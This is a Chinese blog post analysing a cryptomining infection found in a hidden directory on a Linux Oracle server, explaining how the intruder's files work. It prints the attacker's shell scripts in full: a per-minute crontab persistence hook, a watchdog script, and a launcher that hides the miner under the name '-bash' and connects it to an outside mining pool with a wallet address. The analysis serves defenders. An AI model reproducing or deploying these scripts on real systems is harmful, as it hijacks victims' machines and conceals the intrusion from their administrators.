1. 程式人生 > >遭遇挖礦程式續集_詳解黑客攻擊步驟

遭遇挖礦程式續集_詳解黑客攻擊步驟

下載連結: http://download.csdn.net/download/landehutu/10218235

背景:前幾天寫了一下遭遇挖礦程式後的處理步驟,當時弄了一個活體下來,但是沒有說明那幾個程式的細節,今天補上。

程式細節說明:

黑客先找到系統的漏洞,獲得相應許可權以後,在oracle使用者目錄下建立了一個隱藏目錄:.data_oraclelinux下小數點開頭的ls不加 -a 引數就看不到。

然後把檔案都上傳到目錄中,包括:

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 a

-rw-r--r--. 1 oracle oinstall 0 1月  

18 11:46 bash.pid

-rw-r--r--. 1 oracle oinstall 0 1月  18 11:46 cron.d

-rw-r--r--. 1 oracle oinstall 0 1月  18 11:46 dir.dir

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 h32  : 這個32bit程序是用來隱藏程序名稱的

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 h64  : 這個64bit程序是用來隱藏程序名稱的

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 md

  : 這個是64bit的挖礦程式

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 md32 : 這個是32bit的挖礦程式

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 mdx  : 這個也是挖礦程式,只不過硬體架構不是i686x86_64

-rwxr-xr-x. 1 oracle oinstall 0 1月  18 11:46 run

-rwxr--r--. 1 oracle oinstall 0 1月  18 11:46 upd  : 這個檔案是後來由a檔案生成的

-rwxr-xr-x. 1 oracle oinstall 0 1月  

18 11:46 x

現在開始依次聊聊檔案內容:

上傳完檔案後,首先執行檔案x

nohup ./a >>/dev/null &

這句很簡單,就是執行當前目錄(/home/oracle/.data_oracle)下的檔案a,其他內容我就囉嗦點講下吧。這行命令其實是三段: nohup./a >>/dev/null &/dev/null是個裝置檔案,其實就是windows下的垃圾站,是個空檔案,意思是所有a檔案產生的輸出都別顯示了,就直接扔進了碎紙機裡面。& 是後臺執行,那為什麼還有個nohup呢,比如你在windows下,當前執行了一個程式,如果登出當前使用者,這個程式也會退出,那怎麼辦呢,只有把這個程式交給作業系統去執行,這樣就算登出了當前使用者,程式還可以繼續執行,nohup就是幹這個的。

再來看看a:

pwd > dir.dir

dir=$(cat dir.dir)

echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d

crontab cron.d

crontab -l | grep upd

echo "#!/bin/sh

if test -r $dir/bash.pid; then

pid=\$(cat $dir/bash.pid)

if \$(kill -CHLD \$pid >/dev/null 2>&1)

then

exit 0

fi

fi

cd $dir

./run &>/dev/null" > upd

chmod u+x upd

./upd

第一句是把當前目錄名稱寫入檔案dir.dir中;

第二句變數dir取得了當前目錄;

第三句將crontab內容寫入cron.d檔案,隨後一句就載入進入crontabcrontab就是windows的計劃任務,定時執行任務的,crontab的命令格式是:

minute   hour   day   month   week   command

所以 * * * * * $dir/upd >/dev/null 2>&1 意思就是一直執行upd檔案,/dev/null就不講了, 2>&1的意思是錯誤檔案輸出到標準輸出中,下面是百度抄的,還看不懂的話,需要實際做做。

1)標準輸入 即 STDIN , /dev/stdin ,

   一般指鍵盤輸入, shell裡代號是 0

2) 標準輸出 STDOUT, /dev/stdout,

   一般指終端(terminal), 就是顯示器, shell裡代號是 1

3) 標準錯誤 STDERR, /dev/stderr

   也是指終端(terminal), 不同的是, 錯誤資訊送到這裡

   shell裡代號是 2

後面程式碼是echo一段程式碼輸出到檔案upd中,然後給upd賦予執行許可權,最後執行upd檔案。先看看上面生成的檔案:

dir.dir/home/oracle/.data_oracle

cron.d* * * * * /home/oracle/.data_oracle/upd >/dev/null 2>&1

講講upd

#!/bin/sh

if test -r /home/oracle/.data_oracle/bash.pid; then

pid=$(cat /home/oracle/.data_oracle/bash.pid)

if $(kill -CHLD $pid >/dev/null 2>&1)

then

exit 0

fi

fi

cd /home/oracle/.data_oracle

./run &>/dev/null

首先檢查一下檔案 /home/oracle/.data_oracle/bash.pid 是否可讀,如果可讀,就讀出裡面的程序pid,直接kill掉,重新執行run

看下程序id的檔案bash.pid : 38790

run檔案才是真正的啟動命令的檔案:

#!/bin/bash

proc=`nproc`

ARCH=`uname -m`

HIDE="-bash"

if [ "$ARCH" == "i686" ];       then

        ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &

elif [ "$ARCH" == "x86_64" ];   then

        ./h64 -s $HIDE ./md -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &

                                else

        ./h64 -s $HIDE ./mdx -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &

fi

echo $! > bash.pid

這個核心檔案就是讀出作業系統的硬體架構,如果是i386就執行32位的h32md32,猜測h32是用於讓系統顯示的程序名稱,md32才是真正的挖礦程式。執行完成了就把程序id寫入bash.pid中。

總結一下:

找系統漏洞;

獲取許可權;

建立目錄;

上傳檔案;

執行x,執行a

a啟動crontab執行upd,生成upd並賦權;

upd去執行run

run去執行真正的挖礦程式。